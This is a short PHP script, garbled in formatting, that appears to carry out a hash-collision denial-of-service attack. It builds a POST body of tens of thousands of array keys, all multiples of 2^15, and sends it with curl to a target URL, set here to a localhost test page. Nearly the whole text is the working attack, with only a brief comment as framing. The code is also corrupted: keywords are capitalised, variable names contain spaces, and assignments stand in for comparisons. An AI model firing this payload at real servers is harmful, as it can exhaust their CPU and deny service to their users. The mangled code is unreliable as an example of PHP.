// Target address // What does the target address do if it exists? $ Host = 'HTTP: // 127.0.0.1/test. php '; $ Data = ''; $ Size = pow (2, 15 ); For ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size) { $ Data. = '& array ['. $ key. '] = 0 '; } $ Ret = curl ($ host, ltrim ($ data ,'&')); Var_dump ($ ret ); Function curl ($ url, $ post, $ timeout = 30 ){ $ Ch = curl_init (); Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true ); Curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout ); Curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5 ); Curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('ct :')); Curl_setopt ($ ch, CURLOPT_URL, $ url ); Curl_setopt ($ ch, CURLOPT_POST, true ); Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post ); $ Output = curl_exec ($ ch ); If ($ output = false) return false; $ Info = curl_getinfo ($ ch ); $ Http_code = $ info ['HTTP _ Code']; If ($ http_code = 404) return false; Curl_close ($ ch ); Return $ output; } |